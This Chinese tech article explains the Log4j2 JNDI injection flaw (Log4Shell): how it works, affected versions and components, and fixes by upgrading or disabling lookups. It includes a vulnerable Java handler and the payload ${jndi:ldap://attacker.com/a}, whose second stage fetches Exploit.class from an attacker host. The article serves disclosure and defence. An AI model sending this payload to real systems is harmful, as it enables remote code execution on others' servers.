前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Log4j爆核弹级漏洞,大厂中招、公司炸锅了...

Log4j爆核弹级漏洞,大厂中招、公司炸锅了...

作者头像
纯洁的微笑
发布2021-12-13 12:35:51
4790
发布2021-12-13 12:35:51
举报
文章被收录于专栏:纯洁的微笑纯洁的微笑

作者:研磨架构

出处:https://www.zhihu.com/question/505025655/answer/2265086040

这周,很多 Java 程序员都忙疯了,因为只要是 Java 程序员,几乎都会用到 Apache Log4j 这个组建。

但这个组建却爆出来一个史诗级的 Bug 。

1.Apache Log4j

Apache Log4j 2 是一款优秀的 Java 日志框架。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。

由于 Apache Log4j 2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。

漏洞原理官方表述是:Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行。

通过JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。

注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒,变成他的肉鸡。

2.漏洞详细描述

Apache Log4j2 远程代码执行漏洞详细信息已被披露,而经过分析,本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞。

当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。

攻击原理:

代码语言:javascript
复制
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
 static Logger log = Logger.getLogger(log4jExample.class.getName());
 /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
 public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");

 // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
 // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);
    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

根据上面提供的攻击代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。

攻击步骤

  • 攻击者向漏洞服务器发起攻击请求。
  • 服务器通过Log4j2记录攻击请求中包含的基于JNDILDAP的恶意负载${jndi:ldap://attacker.com/a}attacker.com是攻击者控制的地址。
  • 记录的恶意负载被触发,服务器通过JNDIattacker.com请求。
  • attacker.com就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class
  • 攻击者执行恶意脚本。

专门画了一张图,让大家更好理解,一图胜千言:

下面就是漏洞“攻陷”,比如可以在baidu搜索框里输入特殊格式请求,造成网页劫持:

受影响版本(看起来是Log4j2才受影响,Log4j 1.2.15以下不受影响):

Apache Log4j 2.x <= 2.14.1

已知受影响的应用程序和组件:

  • Spring-boot-strater-log4j2
  • Apache Solr
  • Apache Flink
  • Apache Druid

据悉,此次 Apache Log4j2 远程代码执行漏洞风险已被业内评级为“高危”,且漏洞危害巨大,利用门槛极低。 有报道称,目前 Apache Solr、Apache Struts2、Apache Druid、Apache Flink 等众多组件及大型应用均已经受到了影响,需尽快采取方案阻止。

目前,Apache Log4j 已经发布了新版本来修复该漏洞,请受影响的用户将 Apache Log4j2 的所有相关应用程序升级至最新的 Log4j-2.15.0-rc2 版本。

同时升级已知受影响的应用程序和组件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。‍

3.解决方案

目前,Apache Log4j 已经发布了新版本来修复该漏洞,请受影响的用户将 Apache Log4j2 的所有相关应用程序升级至最新的 Log4j-2.15.0-rc2 版本。

同时升级已知受影响的应用程序和组件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。

临时修复建议:

代码语言:javascript
复制
JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true
log4j2.formatMsgNoLookups=True
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true

安全建议:

据 Apache 官方最新信息显示,release 页面上已经更新了 Log4j 2.15.0 版本,主要是那个log4j-core包,漏洞就是在这个包里产生的,如果你的程序有用到,尽快紧急升级。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-12-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 纯洁的微笑 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 攻击步骤
  • 专门画了一张图,让大家更好理解,一图胜千言:
    • 下面就是漏洞“攻陷”,比如可以在baidu搜索框里输入特殊格式请求,造成网页劫持:
      • 受影响版本(看起来是Log4j2才受影响,Log4j 1.2.15以下不受影响):
      • 临时修复建议:
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档